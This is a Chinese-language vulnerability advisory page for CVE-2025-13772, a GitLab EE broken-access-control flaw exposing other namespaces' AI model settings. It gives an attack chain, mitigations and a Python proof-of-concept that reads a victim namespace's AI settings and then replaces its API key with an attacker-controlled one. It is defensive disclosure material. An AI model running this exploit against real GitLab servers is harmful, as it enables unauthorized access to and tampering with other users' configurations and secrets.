IPBUF安全漏洞报告
English
CVE-2025-13772 CVSS 7.1 高危

GitLab EE AI模型设置未授权访问漏洞 (CVE-2025-13772)

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-13772
漏洞类型
访问控制/权限提升
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab EE

相关标签

GitLab访问控制权限提升API安全命名空间遍历CVE-2025-13772Broken Access ControlAI模型配置身份验证绕过

漏洞概述

GitLab EE存在一处访问控制漏洞,该漏洞影响18.4至18.5.5之前的所有版本、18.6至18.6.3之前的所有版本以及18.7至18.7.1之前的所有版本。攻击者作为已认证用户,可以通过操纵API请求中的命名空间(namespace)标识符来访问和利用其他未授权命名空间中的AI模型设置。此漏洞允许低权限用户绕过正常的访问控制机制,获取对敏感AI配置信息的访问权限。攻击成功后,攻击者可能查看、修改或滥用目标命名空间的AI模型配置,这可能导致敏感数据泄露、AI资源滥用或进一步的攻击路径。由于该漏洞利用无需用户交互,且可通过网络远程利用,因此具有较高的实际威胁性。GitLab官方已于2026年1月7日发布补丁版本18.7.1、18.6.3和18.5.5来修复此问题。建议所有使用受影响版本的用户立即升级到最新补丁版本以消除安全风险。

技术细节

该漏洞属于Broken Access Control(访问控制失效)类型,具体表现为API授权检查缺陷。GitLab EE的AI模型设置功能通过API端点提供服务,正常情况下系统应该验证当前用户是否有权访问指定命名空间中的AI配置。然而,由于API在处理namespace参数时未正确验证用户权限,攻击者可以通过修改请求中的namespace ID或路径参数来访问其他命名空间的资源。攻击者首先需要拥有一个有效的GitLab账户(即使是低权限账户),然后构造恶意API请求,将目标命名空间的标识符替换到请求参数中。如果目标命名空间存在AI模型配置,攻击者即可绕过授权检查直接访问。攻击者可以利用此漏洞获取AI模型的API密钥、端点配置、内部模型选择等敏感信息,进而可能利用这些信息进行横向移动或数据窃取。

攻击链分析

STEP 1
步骤1
攻击者注册GitLab账户并获取有效的个人访问令牌(PAT),该账户只需最低权限
STEP 2
步骤2
攻击者识别目标命名空间(namespace)的ID,可以通过API枚举或信息收集获取
STEP 3
步骤3
攻击者构造恶意API请求,将目标命名空间的ID替换到API端点参数中
STEP 4
步骤4
发送构造的请求到GitLab API的AI模型设置端点
STEP 5
步骤5
由于API未正确验证授权,请求成功返回目标命名空间的AI模型配置信息
STEP 6
步骤6
攻击者获取敏感配置后,可能进一步修改配置或利用AI资源进行恶意活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-13772 PoC - GitLab EE AI Model Settings Unauthorized Access # Target: GitLab EE versions 18.4 to 18.5.5, 18.6 to 18.6.3, 18.7 to 18.7.1 TARGET_GITLAB = "https://victim-gitlab.example.com" ATTACKER_TOKEN = "glpat-xxxxxxxxxxxxxxxxxxxx" # Low-privilege user token TARGET_NAMESPACE_ID = "victim-namespace-id" # Unauthorized namespace ID def exploit_ai_model_settings(): headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: List AI model settings from unauthorized namespace endpoint = f"{TARGET_GITLAB}/api/v4/namespaces/{TARGET_NAMESPACE_ID}/ai/settings" try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully accessed AI model settings from unauthorized namespace") print(f"[+] Response: {json.dumps(response.json(), indent=2)}") # Step 2: Attempt to modify AI model settings modify_endpoint = f"{TARGET_GITLAB}/api/v4/namespaces/{TARGET_NAMESPACE_ID}/ai/settings" modify_data = { "model_provider": "custom", "api_key": "attacker-controlled-key" } mod_response = requests.put(modify_endpoint, headers=headers, json=modify_data, timeout=10) if mod_response.status_code in [200, 204]: print("[+] Successfully modified AI model settings") elif response.status_code == 403: print("[-] Access denied - vulnerability may be patched") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit_ai_model_settings()

影响范围

GitLab EE 18.4 至 18.5.5 之前的所有版本
GitLab EE 18.6 至 18.6.3 之前的所有版本
GitLab EE 18.7 至 18.7.1 之前的所有版本

防御指南

临时缓解措施
如果无法立即进行版本升级,可以采取以下临时缓解措施:1) 限制AI功能的使用范围,仅允许受信任的命名空间使用AI模型设置;2) 启用GitLab的API请求速率限制,防止自动化攻击;3) 配置Web应用防火墙(WAF)规则,监控和阻止异常的namespace参数访问;4) 加强API访问日志审计,及时发现可疑的跨命名空间访问行为;5) 考虑临时禁用AI功能,直到完成补丁升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表